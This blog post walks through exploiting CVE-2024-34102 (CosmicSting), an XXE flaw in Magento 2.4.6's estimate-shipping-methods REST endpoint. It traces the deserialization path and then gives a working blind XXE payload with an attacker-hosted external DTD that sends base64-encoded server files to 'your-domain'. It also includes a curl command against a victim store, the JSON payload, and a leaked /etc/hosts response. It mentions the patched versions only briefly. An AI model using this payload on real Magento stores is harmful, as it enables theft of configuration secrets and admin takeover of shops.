CVE-2024-34102(a.k.a CosmicSting) How to Attack

CVE-2024-34102 was discovered in 2023 and published in June 2024. There already exists exploit script on the internet. By exploiting this vulnerability, the attacker can obtain the content of files on the server. Since it is a Magento security problem, the attacker may be most interested in the app/etc/env.php file.

There are specially crafted bots that scan the network and exploit this security hole automatically. We heard more than 1000 Magento sites got hacked in just one night. The victim Magento stores are usually found that unknown admin JWT is somehow created.

With the admin JWT, the attacker can access all API and bypass authentication. From the description of who consulted with us, they were constantly receiving fakes orders.

Quick Note: To fix, you need to upgrade to at least Magento 2.4.6-p7 or Magento 2.4.7-p1.
In this blog, we target Magento 2.4.6.

So how the attack is achieved?

This class will be used when customer requests a shipping estimate via REST API (/V1/carts/:cartId/estimate-shipping-methods)during the checkout process.(Check Magento\Quote\Model\ShippingMethodManagement::estimateByExtendedAddress($cartId, AddressInterface $address))

<?php
# File: Magento\Quote\Model\Quote\Address
public function __construct(
    Context $context,
    Registry $registry,
    ExtensionAttributesFactory $extensionFactory,
    AttributeValueFactory $customAttributeFactory,
    Data $directoryData,
    \Magento\Eav\Model\Config $eavConfig,
    \Magento\Customer\Model\Address\Config $addressConfig,
    RegionFactory $regionFactory,
    CountryFactory $countryFactory,
    AddressMetadataInterface $metadataService,
    AddressInterfaceFactory $addressDataFactory,
    RegionInterfaceFactory $regionDataFactory,
    DataObjectHelper $dataObjectHelper,
    ScopeConfigInterface $scopeConfig,
    \Magento\Quote\Model\Quote\Address\ItemFactory $addressItemFactory,
    \Magento\Quote\Model\ResourceModel\Quote\Address\Item\CollectionFactory $itemCollectionFactory,
    RateFactory $addressRateFactory,
    RateCollectorInterfaceFactory $rateCollector,
    CollectionFactory $rateCollectionFactory,
    RateRequestFactory $rateRequestFactory,
    CollectorFactory $totalCollectorFactory,
    TotalFactory $addressTotalFactory,
    Copy $objectCopyService,
    CarrierFactoryInterface $carrierFactory,
    Address\Validator $validator,
    Mapper $addressMapper,
    Address\CustomAttributeListInterface $attributeList,
    TotalsCollector $totalsCollector,
    TotalsReader $totalsReader,
    AbstractResource $resource = null,
    AbstractDb $resourceCollection = null,
    array $data = [],
    Json $serializer = null,
    StoreManagerInterface $storeManager = null,
    ?CompositeValidator $compositeValidator = null,
    ?CountryModelsCache $countryModelsCache = null,
    ?RegionModelsCache $regionModelsCache = null,
) {
    ......
}

Note Magento\Quote\Model\Quote\TotalsReader $totalsReader,.

By digging it deeper and look at Magento\Quote\Model\Quote\TotalsCollectorList and Magento\Quote\Model\Quote\Address\Total\Collector, you will notice the Magento\Quote\Model\Quote\Address\Total\Collector has a @param \Magento\Framework\Simplexml\Element|mixed $sourceData.

<?php
# File: Magento\Quote\Model\Quote\Address\Total\Collector
public function __construct(
    \Magento\Framework\App\Cache\Type\Config $configCacheType,
    \Psr\Log\LoggerInterface $logger,
    \Magento\Sales\Model\Config $salesConfig,
    \Magento\Framework\App\Config\ScopeConfigInterface $scopeConfig,
    \Magento\Store\Model\StoreManagerInterface $storeManager,
    \Magento\Quote\Model\Quote\Address\TotalFactory $totalFactory,
    $sourceData = null,
    $store = null,
    SerializerInterface $serializer = null
) {
    ......
}

Magento\Framework\Simplexml\Element, which extends PHP builtin SimpleXMLElement is weak to XXE attack and it doesn't have input sanitization.

You may wonder why do we examine those classes. To answer this question you need to know the deserialization process of Magento solving REST API parameters.

{
    "address": {
        "totalsReader": {
            "collectorList": {
                "totalCollector": {
                    "sourceData": {
                        ......
                    }
                }
            }
        }
    }
}

If we post the above JSON to the endpoint, the vulnerable Magento\Framework\Simplexml\Element will be instantized.

If you inspect the constructor of Magento\Framework\Simplexml\Element, you will find it inherit the constructor from SimpleXMLElement.

According to documentation, PHP constant LIBXML_NOENT(int 2) and LIBXML_DTDVALID(int 16) enable the XXE attack, and we searched the "Blind Local File Inclusion" payload.

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ELEMENT bar ANY>
    <!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
    <!ENTITY % blind "<!ENTITY &#37; send SYSTEM 'http://your-domain/%xxe;'>">
]>
<bar>%blind;%send;</bar>

However, after some tests, it doesn't work. The exception is that the XML string cannot be parsed.

After further debugging, we finally found the reason: "PEReferences forbidden in internal subset"(PE stands for parameter entity.).

Well, let's try external entity.

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ELEMENT bar ANY >
    <!ENTITY % ext SYSTEM "http://your-domain/dtd.xml">
    %ext;
    %blind;
]>
<bar>&send;</bar>

Then prepare the http://your-domain/dtd.xml with the content below:

<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % blind "<!ENTITY send SYSTEM 'http://your-domain/?%xxe;'>">

To make things simple, we perform the attack by using curl.

curl -XPOST \
    -H 'Content-Type: application/json' \
    -H 'Accept: application/json, text/javascript, */*; q=0.01' \
    -H 'X-Requested-With: XMLHttpRequest' \
    --data-binary @payload.json \
    https://victim-domain/rest/default/V1/guest-carts/abc/estimate-shipping-methods

payload.json

{
    "address": {
        "totalsReader": {
            "collectorList": {
                "totalCollector": {
                    "sourceData": {
                        "data": "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ELEMENT bar ANY ><!ENTITY % ext SYSTEM \"http://your-domain/dtd.xml\">%ext;%blind;]><bar>&send;</bar>",
                        "options": 2
                    }
                }
            }
        }
    }
}

Finally we received the Base64 encoded response of /etc/hosts:

"GET /?MTI3LjAuMC4xC...... HTTP/1.1" 200

In next blog, we are going to tell you how to defend.